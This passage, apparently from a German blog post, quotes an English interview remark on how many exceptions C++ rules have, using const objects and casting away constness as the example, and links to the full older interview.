complexity. For almost every rule in C++, there are exceptions, and
often there are exceptions to the exceptions. For example, const
objects can't be modified, unless you cast away their constness, in
which case they can, unless they were originally defined to be
const, in which case the attempted modifications yield undefined
behavior.
Das gesamte (zugegebenermaßen schon etwas ältere) Interview gibt es hier.